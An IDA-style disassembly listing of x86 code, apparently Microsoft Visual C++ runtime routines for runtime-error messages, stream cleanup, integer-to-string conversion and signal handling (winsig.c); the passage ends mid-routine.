		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], 0
		jmp	short loc_42889E
; ---------------------------------------------------------------------------


loc_428895:				; CODE XREF: sub_428880:loc_4288B5j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_42889E:				; CODE XREF: sub_428880+13j
		cmp	[ebp+var_8], 12h
		jnb	short loc_4288B7
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_447A58[ecx*8]
		jnz	short loc_4288B5
		jmp	short loc_4288B7
; ---------------------------------------------------------------------------


loc_4288B5:				; CODE XREF: sub_428880+31j
		jmp	short loc_428895
; ---------------------------------------------------------------------------


loc_4288B7:				; CODE XREF: sub_428880+22j
					; sub_428880+33j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_447A58[eax*8]
		jnz	loc_428A38
		cmp	[ebp+arg_0], 0FCh
		jz	short loc_4288F4
		mov	edx, [ebp+var_8]
		mov	eax, off_447A5C[edx*8]
		push	eax
		push	0
		push	0
		push	0
		push	1
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_4288F4
		int	3		; Trap to Debugger


loc_4288F4:				; CODE XREF: sub_428880+51j
					; sub_428880+71j
		cmp	dword_4DDFD8, 1
		jz	short loc_42890F
		cmp	dword_4DDFD8, 0
		jnz	short loc_428948
		cmp	dword_444ED4, 1
		jnz	short loc_428948


loc_42890F:				; CODE XREF: sub_428880+7Bj
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, off_447A5C[edx*8]
		push	eax
		call	sub_414EC0
		add	esp, 4
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, off_447A5C[ecx*8]
		push	edx
		push	0FFFFFFF4h
		call	dword_4E0468	; GetStdHandle
		push	eax
		call	dword_4E03B4	; WriteFile
		jmp	loc_428A38
; ---------------------------------------------------------------------------


loc_428948:				; CODE XREF: sub_428880+84j
					; sub_428880+8Dj
		cmp	[ebp+arg_0], 0FCh
		jz	loc_428A38
		push	104h
		lea	eax, [ebp+var_110]
		push	eax
		push	0
		call	dword_4E0334	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_428981
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	ecx, [ebp+var_110]
		push	ecx
		call	sub_418870
		add	esp, 8


loc_428981:				; CODE XREF: sub_428880+EBj
		lea	edx, [ebp+var_110]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_414EC0
		add	esp, 4
		add	eax, 1
		cmp	eax, 3Ch
		jbe	short loc_4289CA
		lea	ecx, [ebp+var_110]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		mov	edx, [ebp+var_C]
		lea	eax, [edx+eax-3Bh]
		mov	[ebp+var_C], eax
		push	3
		push	offset a___	; "..."
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_417760
		add	esp, 0Ch


loc_4289CA:				; CODE XREF: sub_428880+11Cj
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_418870
		add	esp, 8
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_1B0]
		push	ecx
		call	sub_418880
		add	esp, 8
		push	offset asc_434EF0 ; "\n\n"
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_418880
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, off_447A5C[eax*8]
		push	ecx
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_418880
		add	esp, 8
		push	12010h
		push	offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library"
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4293F0
		add	esp, 0Ch


loc_428A38:				; CODE XREF: sub_428880+44j
					; sub_428880+C3j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_428880	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	dword ptr [ebp-4], 0
		jmp	short loc_428A56
; ---------------------------------------------------------------------------


loc_428A4D:				; CODE XREF: .data:loc_428A6Dj
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax


loc_428A56:				; CODE XREF: .data:00428A4Bj
		cmp	dword ptr [ebp-4], 12h
		jnb	short loc_428A6F
		mov	ecx, [ebp-4]
		mov	edx, [ebp+8]
		cmp	edx, dword_447A58[ecx*8]
		jnz	short loc_428A6D
		jmp	short loc_428A6F
; ---------------------------------------------------------------------------


loc_428A6D:				; CODE XREF: .data:00428A69j
		jmp	short loc_428A4D
; ---------------------------------------------------------------------------


loc_428A6F:				; CODE XREF: .data:00428A5Aj
					; .data:00428A6Bj
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		cmp	ecx, dword_447A58[eax*8]
		jnz	short loc_428A8A
		mov	edx, [ebp-4]
		mov	eax, off_447A5C[edx*8]
		jmp	short loc_428A8C
; ---------------------------------------------------------------------------


loc_428A8A:				; CODE XREF: .data:00428A7Cj
		xor	eax, eax


loc_428A8C:				; CODE XREF: .data:00428A88j
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428A90	proc near		; CODE XREF: sub_41AE00+13p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		push	2
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_8], 3
		jmp	short loc_428AB9
; ---------------------------------------------------------------------------


loc_428AB0:				; CODE XREF: sub_428A90:loc_428B54j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_428AB9:				; CODE XREF: sub_428A90+1Ej
		mov	ecx, [ebp+var_8]
		cmp	ecx, dword_4DF680
		jge	loc_428B59
		mov	edx, [ebp+var_8]
		mov	eax, dword_4DE674
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_428B54
		mov	ecx, [ebp+var_8]
		mov	edx, dword_4DE674
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jz	short loc_428B11
		mov	edx, [ebp+var_8]
		mov	eax, dword_4DE674
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_414F40
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_428B11
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_428B11:				; CODE XREF: sub_428A90+5Dj
					; sub_428A90+76j
		cmp	[ebp+var_8], 14h
		jl	short loc_428B54
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4DE674
		mov	edx, [ecx+eax*4]
		add	edx, 20h
		push	edx
		call	dword_4E03B0	; RtlDeleteCriticalSection
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4DE674
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_415C60
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4DE674
		mov	dword ptr [ecx+eax*4], 0


loc_428B54:				; CODE XREF: sub_428A90+44j
					; sub_428A90+85j
		jmp	loc_428AB0
; ---------------------------------------------------------------------------


loc_428B59:				; CODE XREF: sub_428A90+32j
		push	2
		call	sub_41BD20
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_428A90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428B70	proc near		; CODE XREF: sub_41B010+31Dp
					; sub_42D2B0+1EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_428B97
		cmp	[ebp+arg_0], 0
		jge	short loc_428B97
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_428BC0
		add	esp, 10h
		jmp	short loc_428BAD
; ---------------------------------------------------------------------------


loc_428B97:				; CODE XREF: sub_428B70+7j
					; sub_428B70+Dj
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_428BC0
		add	esp, 10h


loc_428BAD:				; CODE XREF: sub_428B70+25j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_428B70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428BC0	proc near		; CODE XREF: sub_428B70+1Dp
					; sub_428B70+35p ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_C], 0
		jz	short loc_428BE9
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		neg	eax
		mov	[ebp+arg_0], eax


loc_428BE9:				; CODE XREF: sub_428BC0+10j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx


loc_428BEF:				; CODE XREF: sub_428BC0+79j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_C], 9
		jbe	short loc_428C21
		mov	edx, [ebp+var_C]
		add	edx, 57h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_428C35
; ---------------------------------------------------------------------------


loc_428C21:				; CODE XREF: sub_428BC0+49j
		mov	edx, [ebp+var_C]
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_428C35:				; CODE XREF: sub_428BC0+5Fj
		cmp	[ebp+arg_0], 0
		ja	short loc_428BEF
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_428C4A:				; CODE XREF: sub_428BC0+BCj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_10], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		mov	cl, [ebp+var_10]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jb	short loc_428C4A
		mov	esp, ebp
		pop	ebp
		retn
sub_428BC0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+10h], 0Ah
		jnz	short loc_428CA9
		cmp	dword ptr [ebp+8], 0
		jge	short loc_428CA9
		mov	dword ptr [ebp-4], 1
		jmp	short loc_428CB0
; ---------------------------------------------------------------------------


loc_428CA9:				; CODE XREF: .data:00428C98j
					; .data:00428C9Ej
		mov	dword ptr [ebp-4], 0


loc_428CB0:				; CODE XREF: .data:00428CA7j
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_428BC0
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_428BC0
		add	esp, 10h
		mov	eax, [ebp+0Ch]
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+14h], 0Ah
		jnz	short loc_428D11
		cmp	dword ptr [ebp+0Ch], 0
		jg	short loc_428D11
		jl	short loc_428D08
		cmp	dword ptr [ebp+8], 0
		jnb	short loc_428D11


loc_428D08:				; CODE XREF: .data:00428D00j
		mov	dword ptr [ebp-4], 1
		jmp	short loc_428D18
; ---------------------------------------------------------------------------


loc_428D11:				; CODE XREF: .data:00428CF8j
					; .data:00428CFEj ...
		mov	dword ptr [ebp-4], 0


loc_428D18:				; CODE XREF: .data:00428D0Fj
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_428D40
		mov	eax, [ebp+10h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_428D40	proc near		; CODE XREF: .data:00428D2Cp
					; .data:00428E55p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_10], 0
		jz	short loc_428D74
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		neg	eax
		mov	ecx, [ebp+arg_4]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], ecx


loc_428D74:				; CODE XREF: sub_428D40+10j
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx


loc_428D7A:				; CODE XREF: sub_428D40+9Fj
					; sub_428D40+A7j
		mov	eax, [ebp+arg_C]
		xor	ecx, ecx
		push	ecx
		push	eax
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41A4A0
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		push	edx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41A430
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], edx
		cmp	[ebp+var_C], 9
		jbe	short loc_428DC7
		mov	edx, [ebp+var_C]
		add	edx, 57h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_428DDB
; ---------------------------------------------------------------------------


loc_428DC7:				; CODE XREF: sub_428D40+6Fj
		mov	edx, [ebp+var_C]
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_428DDB:				; CODE XREF: sub_428D40+85j
		cmp	[ebp+arg_4], 0
		ja	short loc_428D7A
		jb	short loc_428DE9
		cmp	[ebp+arg_0], 0
		ja	short loc_428D7A


loc_428DE9:				; CODE XREF: sub_428D40+A1j
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_428DF8:				; CODE XREF: sub_428D40+EAj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_10], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		mov	cl, [ebp+var_10]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jb	short loc_428DF8
		mov	esp, ebp
		pop	ebp
		retn	14h
sub_428D40	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_428D40
		mov	eax, [ebp+10h]
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		cmp	dword ptr [ebp+0Ch], 4
		jz	short loc_428E73
		cmp	dword ptr [ebp+0Ch], 3
		jnz	short loc_428E78


loc_428E73:				; CODE XREF: .data:00428E6Bj
		jmp	loc_429048
; ---------------------------------------------------------------------------


loc_428E78:				; CODE XREF: .data:00428E71j
		cmp	dword ptr [ebp+8], 2
		jz	short loc_428E94
		cmp	dword ptr [ebp+8], 15h
		jz	short loc_428E94
		cmp	dword ptr [ebp+8], 16h
		jz	short loc_428E94
		cmp	dword ptr [ebp+8], 0Fh
		jnz	loc_428F71


loc_428E94:				; CODE XREF: .data:00428E7Cj
					; .data:00428E82j ...
		push	1
		call	sub_41BC80
		add	esp, 4
		cmp	dword ptr [ebp+8], 2
		jz	short loc_428EAA
		cmp	dword ptr [ebp+8], 15h
		jnz	short loc_428EEF


loc_428EAA:				; CODE XREF: .data:00428EA2j
		cmp	dword_4DE1AC, 0
		jnz	short loc_428EEF
		push	1
		push	offset sub_429090
		call	dword_4E0310	; SetConsoleCtrlHandler
		cmp	eax, 1
		jnz	short loc_428ED1
		mov	dword_4DE1AC, 1
		jmp	short loc_428EEF
; ---------------------------------------------------------------------------


loc_428ED1:				; CODE XREF: .data:00428EC3j
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	esi, eax
		call	sub_4224E0
		mov	[eax], esi
		push	1
		call	sub_41BD20
		add	esp, 4
		jmp	loc_429048
; ---------------------------------------------------------------------------


loc_428EEF:				; CODE XREF: .data:00428EA8j
					; .data:00428EB1j ...
		mov	eax, [ebp+8]
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		sub	ecx, 2
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-10h], 14h
		ja	short loc_428F62
		mov	eax, [ebp-10h]
		xor	edx, edx
		mov	dl, byte_42906F[eax]
		jmp	off_42905B[edx*4]


loc_428F16:				; DATA XREF: .data:off_42905Bo
		mov	ecx, dword_4DE19C
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4DE19C, edx
		jmp	short loc_428F62
; ---------------------------------------------------------------------------


loc_428F2A:				; CODE XREF: .data:00428F0Fj
					; DATA XREF: .data:00429063o
		mov	eax, dword_4DE1A0
		mov	[ebp-0Ch], eax
		mov	ecx, [ebp+0Ch]
		mov	dword_4DE1A0, ecx
		jmp	short loc_428F62
; ---------------------------------------------------------------------------


loc_428F3D:				; CODE XREF: .data:00428F0Fj
					; DATA XREF: .data:00429067o
		mov	edx, dword_4DE1A4
		mov	[ebp-0Ch], edx
		mov	eax, [ebp+0Ch]
		mov	dword_4DE1A4, eax
		jmp	short loc_428F62
; ---------------------------------------------------------------------------


loc_428F50:				; CODE XREF: .data:00428F0Fj
					; DATA XREF: .data:0042905Fo
		mov	ecx, dword_4DE1A8
		mov	[ebp-0Ch], ecx
		mov	edx, [ebp+0Ch]
		mov	dword_4DE1A8, edx


loc_428F62:				; CODE XREF: .data:00428F02j
					; .data:00428F0Fj ...
		push	1
		call	sub_41BD20
		add	esp, 4
		jmp	loc_429043
; ---------------------------------------------------------------------------


loc_428F71:				; CODE XREF: .data:00428E8Ej
		cmp	dword ptr [ebp+8], 8
		jz	short loc_428F88
		cmp	dword ptr [ebp+8], 4
		jz	short loc_428F88
		cmp	dword ptr [ebp+8], 0Bh
		jz	short loc_428F88
		jmp	loc_429048
; ---------------------------------------------------------------------------


loc_428F88:				; CODE XREF: .data:00428F75j
					; .data:00428F7Bj ...
		call	sub_421920
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], offset dword_4479A8
		jnz	short loc_428FE5
		push	133h
		push	offset aWinsig_c ; "winsig.c"
		push	2
		mov	ecx, dword_447A28
		push	ecx
		call	sub_4150C0
		add	esp, 10h
		mov	edx, [ebp-4]
		mov	[edx+50h], eax
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+50h], 0
		jz	short loc_428FE3
		mov	ecx, dword_447A28
		push	ecx
		push	offset dword_4479A8
		mov	edx, [ebp-4]
		mov	eax, [edx+50h]
		push	eax
		call	sub_419330
		add	esp, 0Ch
		jmp	short loc_428FE5
; ---------------------------------------------------------------------------


loc_428FE3:				; CODE XREF: .data:00428FC4j
		jmp	short loc_429048
; ---------------------------------------------------------------------------


loc_428FE5:				; CODE XREF: .data:00428F9Aj
					; .data:00428FE1j
		mov	ecx, [ebp-4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_429370
		add	esp, 8
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_429003
		jmp	short loc_429048
; ---------------------------------------------------------------------------


loc_429003:				; CODE XREF: .data:00428FFFj
		mov	ecx, [ebp-8]
		mov	edx, [ecx+8]
		mov	[ebp-0Ch], edx


loc_42900C:				; CODE XREF: .data:loc_429041j
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		cmp	ecx, [ebp+8]
		jnz	short loc_429043
		mov	edx, [ebp-8]
		mov	eax, [ebp+0Ch]
		mov	[edx+8], eax
		mov	ecx, [ebp-8]
		add	ecx, 0Ch
		mov	[ebp-8], ecx
		mov	edx, dword_447A2C
		imul	edx, 0Ch
		mov	eax, [ebp-4]
		mov	ecx, [eax+50h]
		add	ecx, edx
		cmp	[ebp-8], ecx
		jb	short loc_429041
		jmp	short loc_429043
; ---------------------------------------------------------------------------


loc_429041:				; CODE XREF: .data:0042903Dj
		jmp	short loc_42900C
; ---------------------------------------------------------------------------


loc_429043:				; CODE XREF: .data:00428F6Cj
					; .data:00429015j ...
		mov	eax, [ebp-0Ch]
		jmp	short loc_429056
; ---------------------------------------------------------------------------


loc_429048:				; CODE XREF: .data:loc_428E73j
					; .data:00428EEAj ...
		call	sub_4224D0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh


loc_429056:				; CODE XREF: .data:00429046j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
off_42905B	dd offset loc_428F16	; DATA XREF: .data:00428F0Fr
		dd offset loc_428F50
		dd offset loc_428F2A
		dd offset loc_428F3D
		dd offset loc_428F62
byte_42906F	db 0			; DATA XREF: .data:00428F09r
		dd 3 dup(4040404h), 4040401h, 3020404h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429090	proc near		; DATA XREF: .data:00428EB5o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1
		call	sub_41BC80
		add	esp, 4
		cmp	[ebp+arg_0], 0
		jnz	short loc_4290BE
		mov	[ebp+var_8], offset dword_4DE19C
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 2
		jmp	short loc_4290D4
; ---------------------------------------------------------------------------


loc_4290BE:				; CODE XREF: sub_429090+14j
		mov	[ebp+var_8], offset dword_4DE1A0
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], 15h


loc_4290D4:				; CODE XREF: sub_429090+2Cj
		cmp	[ebp+var_C], 0
		jnz	short loc_4290E8
		push	1
		call	sub_41BD20
		add	esp, 4
		xor	eax, eax
		jmp	short loc_42911C
; ---------------------------------------------------------------------------


loc_4290E8:				; CODE XREF: sub_429090+48j
		cmp	[ebp+var_C], 1
		jz	short loc_42910D
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		push	1
		call	sub_41BD20
		add	esp, 4
		mov	edx, [ebp+var_4]
		push	edx
		call	[ebp+var_C]
		add	esp, 4
		jmp	short loc_429117
; ---------------------------------------------------------------------------


loc_42910D:				; CODE XREF: sub_429090+5Cj
		push	1
		call	sub_41BD20
		add	esp, 4


loc_429117:				; CODE XREF: sub_429090+7Bj
		mov	eax, 1


loc_42911C:				; CODE XREF: sub_429090+56j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_429090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429130	proc near		; CODE XREF: sub_41B3A0+2E7p
					; sub_42A620+Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_20]
		sub	ecx, 2
		mov	[ebp+var_20], ecx
		cmp	[ebp+var_20], 14h
		ja	loc_4291FE
		mov	eax, [ebp+var_20]
		xor	edx, edx
		mov	dl, byte_429352[eax]
		jmp	off_42933A[edx*4]


loc_429168:				; DATA XREF: .data:off_42933Ao
		mov	[ebp+var_18], offset dword_4DE19C
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	loc_429206
; ---------------------------------------------------------------------------


loc_429185:				; CODE XREF: sub_429130+31j
					; DATA XREF: .data:00429346o
		mov	[ebp+var_18], offset dword_4DE1A0
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_429206
; ---------------------------------------------------------------------------


loc_42919F:				; CODE XREF: sub_429130+31j
					; DATA XREF: .data:0042934Ao
		mov	[ebp+var_18], offset dword_4DE1A4
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_429206
; ---------------------------------------------------------------------------


loc_4291B9:				; CODE XREF: sub_429130+31j
					; DATA XREF: .data:00429342o
		mov	[ebp+var_18], offset dword_4DE1A8
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_429206
; ---------------------------------------------------------------------------


loc_4291D3:				; CODE XREF: sub_429130+31j
					; DATA XREF: .data:0042933Eo
		call	sub_421920
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+50h]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429370
		add	esp, 8
		add	eax, 8
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		jmp	short loc_429206
; ---------------------------------------------------------------------------


loc_4291FE:				; CODE XREF: sub_429130+20j
					; sub_429130+31j
					; DATA XREF: ...
		or	eax, 0FFFFFFFFh
		jmp	loc_429336
; ---------------------------------------------------------------------------


loc_429206:				; CODE XREF: sub_429130+50j
					; sub_429130+6Dj ...
		cmp	[ebp+var_C], 0
		jz	short loc_429216
		push	1
		call	sub_41BC80
		add	esp, 4


loc_429216:				; CODE XREF: sub_429130+DAj
		cmp	[ebp+var_1C], 1
		jnz	short loc_429233
		cmp	[ebp+var_C], 0
		jz	short loc_42922C
		push	1
		call	sub_41BD20
		add	esp, 4


loc_42922C:				; CODE XREF: sub_429130+F0j
		xor	eax, eax
		jmp	loc_429336
; ---------------------------------------------------------------------------


loc_429233:				; CODE XREF: sub_429130+EAj
		cmp	[ebp+var_1C], 0
		jnz	short loc_429250
		cmp	[ebp+var_C], 0
		jz	short loc_429249
		push	1
		call	sub_41BD20
		add	esp, 4


loc_429249:				; CODE XREF: sub_429130+10Dj
		push	3
		call	sub_417B10


loc_429250:				; CODE XREF: sub_429130+107j
		cmp	[ebp+arg_0], 8
		jz	short loc_429262
		cmp	[ebp+arg_0], 0Bh
		jz	short loc_429262
		cmp	[ebp+arg_0], 4
		jnz	short loc_42928E


loc_429262:				; CODE XREF: sub_429130+124j
					; sub_429130+12Aj
